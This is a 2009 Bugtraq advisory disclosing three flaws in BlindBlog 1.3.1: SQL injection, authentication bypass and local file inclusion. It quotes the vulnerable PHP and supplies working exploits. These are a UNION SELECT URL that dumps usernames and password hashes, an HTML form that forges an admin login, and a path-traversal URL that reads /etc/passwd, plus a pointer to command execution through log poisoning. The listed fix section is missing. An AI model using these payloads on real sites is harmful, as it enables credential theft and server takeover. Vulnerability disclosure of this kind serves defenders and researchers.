bugtraq - BlindBlog 1.3.1 Multiple Vulnerabilities (SQL Inj - Auth Bypass

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Date: Tue, 3 Mar 2009 15:32:27 +0100
From: "Salvatore \"drosophila\" Fresta" <drosophilaxxx@...il.com>
To: Bugtraq <bugtraq@...urityfocus.com>, str0ke <str0ke@...w0rm.com>
Subject: BlindBlog 1.3.1 Multiple Vulnerabilities (SQL Inj - Auth Bypass - 
	LFI)

*******   Salvatore "drosophila" Fresta   *******

[+] Application: BlindBlog
[+] Version: 1.3.1
[+] Website: http://sourceforge.net/projects/cbblog/

[+] Bugs: [A] SQL Injection
          [B] Authentication Bypass
          [C] Local File Inclusion

[+] Exploitation: Remote
[+] Date: 03 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@...il.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: comment.php

All queries are vulnerable.
This bug allows a guest to view username and the
password of a registered user.

$id = (isset($_GET['id']) && $_GET['id'] !='') ?  $_GET['id'] : getlastid();

	$SQL = "SELECT comment,author,contact,date FROM `cblog_comments`
WHERE `pid` = '$id' ORDER BY `cid` DESC";
	$resulted = $db->query($SQL, $querys);
	while ($result = mysql_fetch_assoc($resulted))
		$comments[] = $result;


- [B] Authentication Bypass

[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin.login.php

	$username = $_POST['username'];
	$password = md5($_POST['password']);
	include('./db_config.php');
	$db = new db_stuff;
	$db->connect();
	$result = $db->query("SELECT * FROM `cblog_users` WHERE `username` =
'$username'", $querys);
	if (mysql_num_rows($result) > 1 || mysql_num_rows($result) < 1)
	{
		echo "Incorrect username";
		exit;
	}
	$result = mysql_fetch_assoc($result);
	if ($result['password'] !== $password)
	{
		echo 'Incorrect Password';
		exit;
	}


- [C] Local File Inclusion

[-] Requisites: none
[-] File affected: admin.php

This bug allow an admin to include local files.
It is possible bypass authentication using the
previous bug.
With this bug is possible to execute remote
commands using Apache logs.

...
} else if (isset($_GET['act']) && $_SESSION['is_admin'])
{
	$loc = 'admin.'.$_GET['act'].'.php';
	include('./'.$loc);
}
...


*************************************************

[+] Code


- [A] SQL Injection

http://www.site.com/path/comment.php?id=-1' UNION ALL SELECT
NULL,CONCAT(username, char(58), password),3,4 FROM cblog_users%23


- [B] Authentication Bypass

<html>
	<head>
		<title>BlindBlog 1.3.1 Authentication Bypass Exploit</title>
	</head>
	<body>
		<form action="http://www.site.com/path/admin/admin.login.php?go=1"
method="POST">
			<input type="hidden" name="username" value="-1' UNION ALL SELECT
1,'admin',MD5('expl')#">
			<input type="hidden" name="password" value="expl">
			<input type="submit" value="Exploit">
		</form>
	</body>
</html>


- [C] Local File Inclusion

Tested on MAC OSX: /Applications/xampp/xamppfiles/htdocs/cbblog/admin/admin.php

http://www.site.com/path/admin/admin.php?act=/../../../../../../../etc/passwd